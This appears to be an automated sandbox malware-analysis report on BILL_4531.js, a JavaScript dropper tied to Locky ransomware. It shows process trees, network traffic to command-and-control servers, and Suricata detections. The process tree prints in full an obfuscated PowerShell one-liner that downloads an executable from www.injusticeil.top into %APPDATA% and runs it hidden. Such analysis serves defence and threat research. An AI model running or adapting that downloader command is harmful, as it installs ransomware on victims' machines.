  "5DYGW9JJ-XIPQ-SEFB-7359-764CD16FFCE7.odin" has type "data"
  "5DYGW9JJ-XIPQ-SEFB-9716-0A946C3CE4BE.odin" has type "data"
  "home-&-garden" has type "HTML document ASCII text with CRLF line terminators"
  "_21_HOWDO_text.html" has type "HTML document UTF-8 Unicode text with very long lines"
  "healthreport.sqlite" has type "SQLite 3.x database user version 1"
  "gmpopenh264.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "5DYGW9JJ-XIPQ-SEFB-4DDE-F004BFD77AEE.odin" has type "data"
  "5DYGW9JJ-XIPQ-SEFB-5AFB-0FF7A6D5EE86.odin" has type "data"
  "_22_HOWDO_text.html" has type "HTML document UTF-8 Unicode text with very long lines"
  "healthreport.sqlite-wal" has type "data"
  "5DA331CF89FC03A9797F848CD51BA54F20015C7D" has type "data"
  "5DYGW9JJ-XIPQ-SEFB-F034-96B64D825B9A.odin" has type "data"
  "recovery.js.tmp" has type "ASCII text with very long lines with no line terminators"
  "goog-phish-shavar.pset" has type "data"
  "5DYGW9JJ-XIPQ-SEFB-7AFD-E18982230556.odin" has type "data"
  "cookies.sqlite-wal" has type "data"
  "6DF4C247EB188DBE3AA7FEFB8B83F5C21339C17F" has type "data"
  
  source
  
  Extracted File
  
  relevance
  
  3/10
- Touches files in the Windows directory
  
  details
  
  "wscript.exe" touched file "%WINDIR%\System32\en-US\WScript.exe.mui"
  "wscript.exe" touched file "%WINDIR%\System32\WScript.exe"
  "wscript.exe" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls"
  "wscript.exe" touched file "%WINDIR%\system32\rsaenh.dll"
  "wscript.exe" touched file "%WINDIR%\system32\wshom.ocx"
  "wscript.exe" touched file "%WINDIR%\System32\OLEACCRC.DLL"
  "wscript.exe" touched file "%WINDIR%\System32"
  "wscript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
  "wscript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db"
  "wscript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db"
  "wscript.exe" touched file "%WINDIR%\System32\cmd.exe"
  "helper.exe" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls"
  "helper.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
  "helper.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db"
  "helper.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Pattern match: "http://www.osn.com/app_themes/osn/fonts/icon-osn.eot"
  Pattern match: "http://nsis.sf.net/NSIS_Error"
  Pattern match: "www.injusticeil.top"
  Heuristic match: "community - thamizha.com"
  Heuristic match: "ommunity - thamizha.com"
  Heuristic match: "ciscobinary.openh264.org"
  Pattern match: "http://www.nameboat.com"
  Pattern match: "www.nameboat.com"
  Pattern match: "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"
  Pattern match: "https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"
  Pattern match: "https://fonts.googleapis.com/css?family=Lato:400,700,900,100,300"
  Pattern match: "https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"
  Pattern match: "https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"
  Pattern match: "www.google-analytics.com/analytics.js','ga"
  Pattern match: "http://www.efty.com/market/odf/js/odf.js"
  Pattern match: "http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/10/keyword//"
  Pattern match: "http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/init/keyword//"
  Pattern match: "https://www.facebook.com/NameBoat-1778675352414159/"
  Pattern match: "http://www.efty.com/"
  Pattern match: "http://www.pyload-security.com/download.php?file=Desktop%20background.png,ID:4,docshellID:5,docIdentifier:4},{url:https://www.payload-security.com/download.php?file=Desktop%2520background.png,ID:5,docshellID:5,docIdentifier:5}],lastAccess"
  Pattern match: "http://en.wikipedia.org/wiki/RSA_(cryptosystem)"
  Pattern match: "http://www.injusticeil.top/user.php?f=2.dat',^'%APPDATA%\eXe"
  Pattern match: "http://www.injusticeil.top/user.php?f=2.dat','%APPDATA%\eXe"
  Pattern match: "https://www.torproje_.or9/download/download-easy.html"
  
  source
  
  String
  
  relevance
  
  10/10
Spyware/Information Retrieval
- Found a reference to a known community page
  
  details
  
  "<li><a href="https://www.facebook.com/NameBoat-1778675352414159/" target="_blank"><i class="fa fa-facebook" aria-hidden="true"></i></a></li>" (Indicator: "facebook.com")
  
  source
  
  String
  
  relevance
  
  7/10
System Security
- Opens the Kernel Security Device Driver (KsecDD) of Windows
  
  details
  
  "wscript.exe" opened "\Device\KsecDD"
  "helper.exe" opened "\Device\KsecDD"
  
  source
  
  API Call
  
  relevance
  
  10/10

File Details

All Details:

BILL_4531.js

Filename: BILL_4531.js
Size: 24KiB (24923 bytes)
Type: script javascript
Description: ASCII text, with very long lines
Architecture
: WINDOWS
SHA256
: 27c01df7b6de549f6d9e12f9e27601d0e785186c6d29a917419f7ac42822e076
MD5
: 76fc21ce41c534b94bea7e1a7bce327c
SHA1
: 8fdc6b79c402011a450bc522f5daa3cac9e147f1

Resources

Icon

Visualization

Input File (PortEx)

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 8 processes in total (System Resource Monitor).

wscript.exe "C:\BILL_4531.js" (PID: 1264)
- cmd.exe /c p^oWer^sh^eLL.e^Xe ^-^eXecUtiOnPoLi^cY Byp^a^ss^ -^nO^PROFil^e^ -w^iNdOw^sty^Le^ hidd^en^ (New^-oBJect S^Ys^te^m^.^Net^.W^e^Bcl^I^ent).dO^w^nlOadfile(^'http://www.injusticeil.top/user.php?f=2.dat',^'%APPDATA%\eXe');st^art^-p^R^Oc^eSs^ %APPDATA%\eXe (PID: 2356)
  - powershell.exe poWersheLL.eXe -eXecUtiOnPoLicY Bypass -nOPROFile -wiNdOwstyLe hidden (New-oBJect SYstem.Net.WeBclIent).dOwnlOadfile('http://www.injusticeil.top/user.php?f=2.dat','%APPDATA%\eXe');start-pROceSs %APPDATA%\eXe (PID: 2360)
    - eXe (PID: 2708)
      - eXe (PID: 2696)
        
        firefox.exe -osint -url "%USERPROFILE%\Desktop\_HOWDO_text.html" (PID: 2760)
        
        helper.exe /SetAsDefaultAppUser (PID: 600)
        
        cmd.exe /C del /Q /F "%TEMP%\sysE5A3.tmp" (PID: 1060)

Logged Script Calls	Logged Stdout	Extracted Streams	Memory Dumps
Reduced Monitoring	Network Activityy	Network Error	Multiscan Match

Network Analysis

This report was generated with enabled TOR analysis

DNS Requests

Domain	Address	Registrar	Country
ciscobinary.openh264.org	184.50.238.219	-	United States
dsybuxulplscgeonv.xyz	-	-	-
yitmxwhryykuuj.click	-	-	-
taulmkeuktvxhe.xyz	-	-	-
tyoycmkymaty.pl	-	-	-
jhomitevd2abj3fk.onion.to	185.100.85.150	-	Romania
www.injusticeil.top	172.245.9.41	-	United States
udynanrpxqbxrosop.click	-	-	-
jrhkejh.click	-	-	-
ovpgfkt.info	-	-	-
www.torproject.org	138.201.14.197	-	Germany
jbajudsmkrurhnyu.pl	-	-	-
jdptstkrjiowdqvgi.pw	208.100.26.234	-	United States
jhomitevd2abj3fk.tor2web.org	38.229.70.4	-	United States
en.wikipedia.org	91.198.174.192	-	Netherlands
pccwuntpqx.click	-	-	-
efympeet.xyz	-	-	-

Contacted Hosts

IP Address

Port/Protocol

Associated Process

Details

172.245.9.41

Associated Artifacts for 172.245.9.41

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://www.disadvantageci.top/user.php?f=2.dat%E2%80%8B Threat Level malicious Positives 4/68 Scan Date 10/21/2016 22:52:29 Reference -	http://www.disadvantageci.top/user.php?f=2.dat%E2%80%8B	malicious	4/68	10/21/2016 22:52:29	-
Associated URL http://dependentnv.bid/ Threat Level malicious Positives 6/69 Scan Date 10/21/2016 20:17:05 Reference -	http://dependentnv.bid/	malicious	6/69	10/21/2016 20:17:05	-
Associated URL http://www.injusticeil.top/user.php Threat Level malicious Positives 2/68 Scan Date 10/21/2016 19:08:07 Reference -	http://www.injusticeil.top/user.php	malicious	2/68	10/21/2016 19:08:07	-
Associated URL http://injusticeil.top/user.php?f=2.dat Threat Level suspicious Positives 1/68 Scan Date 10/21/2016 17:04:19 Reference -	http://injusticeil.top/user.php?f=2.dat	suspicious	1/68	10/21/2016 17:04:19	-
Associated URL http://temporaryv.bid/user.php?f=1.dat Threat Level malicious Positives 8/68 Scan Date 10/21/2016 16:21:39 Reference -	http://temporaryv.bid/user.php?f=1.dat	malicious	8/68	10/21/2016 16:21:39	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 6d0a7485f18c7a8ab2520451a332bbfda874267cf13b57f94d63431b80837b4e Threat Level malicious Positives 3/56 Scan Date 10/20/2016 02:59:32 Reference VirusTotal	6d0a7485f18c7a8ab2520451a332bbfda874267cf13b57f94d63431b80837b4e	malicious	3/56	10/20/2016 02:59:32	VirusTotal

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain dependentnv.bid Threat Level - Positives - Last Resolved 10/21/2016 00:00:00 VirusTotal Report	dependentnv.bid	-	-	10/21/2016 00:00:00	Report
Domain importantxc.top Threat Level - Positives - Last Resolved 10/21/2016 00:00:00 VirusTotal Report	importantxc.top	-	-	10/21/2016 00:00:00	Report
Domain injusticeil.top Threat Level - Positives - Last Resolved 10/21/2016 00:00:00 VirusTotal Report	injusticeil.top	-	-	10/21/2016 00:00:00	Report
Domain temporaryv.bid Threat Level - Positives - Last Resolved 10/21/2016 00:00:00 VirusTotal Report	temporaryv.bid	-	-	10/21/2016 00:00:00	Report
Domain www.importantxc.top Threat Level - Positives - Last Resolved 10/21/2016 00:00:00 VirusTotal Report	www.importantxc.top	-	-	10/21/2016 00:00:00	Report

TCP

powershell.exe
PID: 2360

United States
ASN: 36352 (ColoCrossing)

91.200.14.124

Associated Artifacts for 91.200.14.124

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://91.200.14.124/apache_handler.php Threat Level suspicious Positives 1/68 Scan Date 10/18/2016 03:08:15 Reference -	http://91.200.14.124/apache_handler.php	suspicious	1/68	10/18/2016 03:08:15	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 68c53f0f091fcc898f5926e6d2fdeba5106bc995aab600f51339dbdec666808d Threat Level malicious Positives 44/57 Scan Date 10/21/2016 03:51:13 Reference VirusTotal	68c53f0f091fcc898f5926e6d2fdeba5106bc995aab600f51339dbdec666808d	malicious	44/57	10/21/2016 03:51:13	VirusTotal

TCP

roaming.exe
PID: 2696

Ukraine
ASN: 35804 (PP SKS-Lugan)

185.102.136.77

Associated Artifacts for 185.102.136.77

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 68c53f0f091fcc898f5926e6d2fdeba5106bc995aab600f51339dbdec666808d Threat Level malicious Positives 44/57 Scan Date 10/21/2016 03:51:12 Reference VirusTotal	68c53f0f091fcc898f5926e6d2fdeba5106bc995aab600f51339dbdec666808d	malicious	44/57	10/21/2016 03:51:12	VirusTotal

TCP

roaming.exe
PID: 2696

Russian Federation

52.32.150.180

Associated Artifacts for 52.32.150.180

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain tiles.services.mozilla.com Threat Level - Positives - Last Resolved 05/20/2016 00:00:00 VirusTotal Report	tiles.services.mozilla.com	-	-	05/20/2016 00:00:00	Report
Domain tiles.r53-2.services.mozilla.com Threat Level - Positives - Last Resolved 05/02/2016 00:00:00 VirusTotal Report	tiles.r53-2.services.mozilla.com	-	-	05/02/2016 00:00:00	Report

TCP

firefox.exe
PID: 2760

United States

52.84.13.157

Associated Artifacts for 52.84.13.157

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://get.ebiteblindl.club/http:/get.ebiteblindl.club/h_redir.php?offer_id=4&aff_id=1464&source=805&aff_sub=hienzo&aff_sub2=0&aff_sub3=0&aff_sub4=0&aff_sub5=1264537739&url=http%3A%2F%2Fget.ebiteblindl.club/offer.php%3FaffId%3D{aff_id}%26trackingId%3D63442546%26instId%3D805%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx86%26wv%3Dxpsp3%26db%3DInternetExplorer%26uac%3D1%26cid%3D6965702ab625dd49ea1db1c0cda15a00%26v%3D1 Threat Level malicious Positives 4/67 Scan Date 06/27/2016 05:03:21 Reference -	http://get.ebiteblindl.club/http:/get.ebiteblindl.club/h_redir.php?offer_id=4&aff_id=1464&source=805&aff_sub=hienzo&aff_sub2=0&aff_sub3=0&aff_sub4=0&aff_sub5=1264537739&url=http%3A%2F%2Fget.ebiteblindl.club/offer.php%3FaffId%3D{aff_id}%26trackingId%3D63442546%26instId%3D805%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx86%26wv%3Dxpsp3%26db%3DInternetExplorer%26uac%3D1%26cid%3D6965702ab625dd49ea1db1c0cda15a00%26v%3D1	malicious	4/67	06/27/2016 05:03:21	-
Associated URL http://get.ebiteblindl.club/http:/get.ebiteblindl.club/h_redir.php?offer_id=4&aff_id=1903&source=1720&aff_sub=0&aff_sub2=0&aff_sub3=0&aff_sub4=0&aff_sub5=1293282864&url=http%3A%2F%2Fget.ebiteblindl.club/offer.php%3FaffId%3D{aff_id}%26trackingId%3D63298322%26instId%3D1720%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx86%26wv%3Dxpsp3%26db%3DInternetExplorer%26uac%3D1%26cid%3D6965702ab625dd49ea1db1c0cda15a00%26v%3D1 Threat Level malicious Positives 4/67 Scan Date 06/27/2016 04:58:50 Reference -	http://get.ebiteblindl.club/http:/get.ebiteblindl.club/h_redir.php?offer_id=4&aff_id=1903&source=1720&aff_sub=0&aff_sub2=0&aff_sub3=0&aff_sub4=0&aff_sub5=1293282864&url=http%3A%2F%2Fget.ebiteblindl.club/offer.php%3FaffId%3D{aff_id}%26trackingId%3D63298322%26instId%3D1720%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx86%26wv%3Dxpsp3%26db%3DInternetExplorer%26uac%3D1%26cid%3D6965702ab625dd49ea1db1c0cda15a00%26v%3D1	malicious	4/67	06/27/2016 04:58:50	-
Associated URL http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63438117&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1 Threat Level malicious Positives 4/67 Scan Date 06/27/2016 04:58:44 Reference -	http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63438117&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1	malicious	4/67	06/27/2016 04:58:44	-
Associated URL http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63439701&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1 Threat Level malicious Positives 4/67 Scan Date 06/27/2016 04:57:46 Reference -	http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63439701&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1	malicious	4/67	06/27/2016 04:57:46	-
Associated URL http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63329523&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1 Threat Level malicious Positives 4/67 Scan Date 06/27/2016 04:53:56 Reference -	http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63329523&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1	malicious	4/67	06/27/2016 04:53:56	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 19708551d44ea88a99b0221ee54f0c95503204baef4ad722323467f9e513ab0f Threat Level malicious Positives 38/57 Scan Date 06/23/2016 04:48:56 Reference VirusTotal	19708551d44ea88a99b0221ee54f0c95503204baef4ad722323467f9e513ab0f	malicious	38/57	06/23/2016 04:48:56	VirusTotal
Associated SHA256 df6793879bde70824a352cc743335ebeb52797b6f43f5697edc636f9a8a5b13b Threat Level suspicious Positives 1/57 Scan Date 06/19/2016 18:20:35 Reference VirusTotal	df6793879bde70824a352cc743335ebeb52797b6f43f5697edc636f9a8a5b13b	suspicious	1/57	06/19/2016 18:20:35	VirusTotal
Associated SHA256 ead965b1b90ef1a9ebcb71c42779eb6423f64a4aac078db14913eeb147eb7f8c Threat Level malicious Positives 37/55 Scan Date 06/19/2016 05:09:48 Reference VirusTotal	ead965b1b90ef1a9ebcb71c42779eb6423f64a4aac078db14913eeb147eb7f8c	malicious	37/55	06/19/2016 05:09:48	VirusTotal
Associated SHA256 af8ca5b4b9faac819886396d800d32e898e0b361bae1e7f2dd27940485224c41 Threat Level malicious Positives 10/56 Scan Date 06/19/2016 05:08:53 Reference VirusTotal	af8ca5b4b9faac819886396d800d32e898e0b361bae1e7f2dd27940485224c41	malicious	10/56	06/19/2016 05:08:53	VirusTotal
Associated SHA256 e64ce178118414c7b42aff064fd13be15eb3e27a6f6ba71b723e0b0039f0d7ad Threat Level malicious Positives 39/56 Scan Date 06/19/2016 05:06:43 Reference VirusTotal	e64ce178118414c7b42aff064fd13be15eb3e27a6f6ba71b723e0b0039f0d7ad	malicious	39/56	06/19/2016 05:06:43	VirusTotal

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain gamerscorps.com Threat Level - Positives - Last Resolved 10/19/2016 00:00:00 VirusTotal Report	gamerscorps.com	-	-	10/19/2016 00:00:00	Report
Domain messaging.wakelet.com Threat Level - Positives - Last Resolved 10/19/2016 00:00:00 VirusTotal Report	messaging.wakelet.com	-	-	10/19/2016 00:00:00	Report
Domain tech.microbit.org Threat Level - Positives - Last Resolved 10/19/2016 00:00:00 VirusTotal Report	tech.microbit.org	-	-	10/19/2016 00:00:00	Report
Domain trace.events Threat Level - Positives - Last Resolved 10/19/2016 00:00:00 VirusTotal Report	trace.events	-	-	10/19/2016 00:00:00	Report
Domain ultraeurope.com Threat Level - Positives - Last Resolved 10/19/2016 00:00:00 VirusTotal Report	ultraeurope.com	-	-	10/19/2016 00:00:00	Report

TCP

firefox.exe
PID: 2760

United States

192.122.185.121

TCP

firefox.exe
PID: 2760

United States
ASN: 237 (Merit Network Inc.)

192.122.185.123

TCP

firefox.exe
PID: 2760

United States
ASN: 237 (Merit Network Inc.)

Contacted Countries

HTTP Traffic

Endpoint	Request	URL	Data
172.245.9.41:80 (www.injusticeil.top)	GET	www.injusticeil.top/user.php?f=2.dat	GET /user.php?f=2.dat HTTP/1.1 Host: www.injusticeil.top Connection: Keep-Alive
91.200.14.124:80	POST	91.200.14.124/apache_handler.php	POST /apache_handler.php HTTP/1.1 Accept: / Accept-Language: en-us Referer: http://91.200.14.124/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 91.200.14.124 Content-Length: 561 Connection: Keep-Alive
185.102.136.77:80	POST	185.102.136.77/apache_handler.php	POST /apache_handler.php HTTP/1.1 Accept: / Accept-Language: en-us Referer: http://185.102.136.77/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 185.102.136.77 Content-Length: 561 Connection: Keep-Alive
91.200.14.124:80	POST	91.200.14.124/apache_handler.php	POST /apache_handler.php HTTP/1.1 Accept: / Accept-Language: en-us Referer: http://91.200.14.124/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 91.200.14.124 Content-Length: 561 Connection: Keep-Alive
185.102.136.77:80	POST	185.102.136.77/apache_handler.php	POST /apache_handler.php HTTP/1.1 Accept: / Accept-Language: en-us Referer: http://185.102.136.77/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 185.102.136.77 Content-Length: 561 Connection: Keep-Alive
91.200.14.124:80	POST	91.200.14.124/apache_handler.php	POST /apache_handler.php HTTP/1.1 Accept: / Accept-Language: en-us Referer: http://91.200.14.124/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 91.200.14.124 Content-Length: 561 Connection: Keep-Alive
184.50.238.219:80 (ciscobinary.openh264.org)	GET	ciscobinary.openh264.org/openh264-win32-v1.3.zip	GET /openh264-win32-v1.3.zip HTTP/1.1 Host: ciscobinary.openh264.org User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Connection: keep-alive

Memory Forensics

String	Context	Stream UID
http://nsis.sf.net/nsis_error	Domain/IP reference	00037821-00000600-47529-60-0040311B

Suricata Alerts

Event	Category	Description	SID
local -> 8.8.8.8:53 (UDP)	Potentially Bad Traffic	ET DNS Query to a *.pw domain - Likely Hostile	2016778
local -> 8.8.8.8:53 (UDP)	Potentially Bad Traffic	ET DNS Query to a *.pw domain - Likely Hostile	2016778
local -> 8.8.8.8:53 (UDP)	Potentially Bad Traffic	ET DNS Query to a *.pw domain - Likely Hostile	2016778
local -> 8.8.8.8:53 (UDP)	A Network Trojan was detected	ET TROJAN ABUSE.CH Locky Payment Domain Detected	2023329
local -> 8.8.8.8:53 (UDP)	Potentially Bad Traffic	ET POLICY DNS Query to .onion proxy Domain (tor2web)	2015576
local -> 8.8.8.8:53 (UDP)	A Network Trojan was detected	ET TROJAN ABUSE.CH Locky Payment Domain Detected	2023329
local -> 8.8.8.8:53 (UDP)	Potentially Bad Traffic	ET POLICY DNS Query to .onion proxy Domain (onion.to)	2020116
local -> 8.8.8.8:53 (UDP)	A Network Trojan was detected	ET TROJAN ABUSE.CH Locky Payment Domain Detected	2023329
local -> 8.8.8.8:53 (UDP)	Potentially Bad Traffic	ET POLICY DNS Query to .onion proxy Domain (tor2web)	2015576
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016	2821471
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016 M2	2821569
local -> 185.102.136.77:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016	2821471
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Ransomware Locky CnC Beacon Oct 3	2822473
local -> 185.102.136.77:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016 M2	2821569
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016	2821471
local -> 185.102.136.77:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Ransomware Locky CnC Beacon Oct 3	2822473
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016 M2	2821569
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Ransomware Locky CnC Beacon Oct 3	2822473
local -> 91.200.14.124:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016	2821471
local -> 185.102.136.77:80 (TCP)	A Network Trojan was detected	ETPRO TROJAN Locky CnC checkin Aug 03 2016	2821471

ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Strings

Download All Memory Strings (20KiB)

!""##$$%%%&&&''''

Ansi based on Dropped File (gmpopenh264.dll.97104820)

!"$(&)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

!________________

Ansi based on Image Processing (screen_2.png)

!This program cannot be run in DOS mode.$

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

"1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v3.0b1</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/></application></compatibility></assembly>

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

"C:\BILL_4531.js"

Ansi based on Process Commandline (wscript.exe)

"%PROGRAMFILES%\Mozilla Firefox\firefox.exe" -osint -url "%1"

Unicode based on Runtime Data (helper.exe )

"%APPDATA%\eXe"

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

#.X'=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

#catnav .current-cat {

Ansi based on Dropped File (nav.css)

#catnav a, #catnav a:hover {

Ansi based on Dropped File (nav.css)

#catnav a, #catnav a:visited {

Ansi based on Dropped File (nav.css)

#catnav a:active {

Ansi based on Dropped File (nav.css)

#catnav a:hover {

Ansi based on Dropped File (nav.css)

#catnav li li a, #catnav li li a:visited {

Ansi based on Dropped File (nav.css)

#catnav li li a:hover, #catnav li li a:active {

Ansi based on Dropped File (nav.css)

#catnav li li {

Ansi based on Dropped File (nav.css)

#catnav li li:last-child a, #catnav li li:last-child a:visited {

Ansi based on Dropped File (nav.css)

#catnav li ul ul {/*second level dropdown*/

Ansi based on Dropped File (nav.css)

#catnav li ul {/*first level dropdown*/

Ansi based on Dropped File (nav.css)

#catnav li {

Ansi based on Dropped File (nav.css)

#catnav li:hover ul ul, #catnav li.sfhover ul ul {

Ansi based on Dropped File (nav.css)

#catnav li:hover ul, #catnav li li:hover ul, #catnav li li li:hover ul, #catnav li.sfhover ul, #catnav li li.sfhover ul, #catnav li li li.sfhover ul {left: auto;}

Ansi based on Dropped File (nav.css)

#catnav ul a, #catnav ul a:hover {

Ansi based on Dropped File (nav.css)

#catnav {

Ansi based on Dropped File (nav.css)

#catnav, #catnav ul {

Ansi based on Dropped File (nav.css)

#catnavli.last a {}

Ansi based on Dropped File (nav.css)

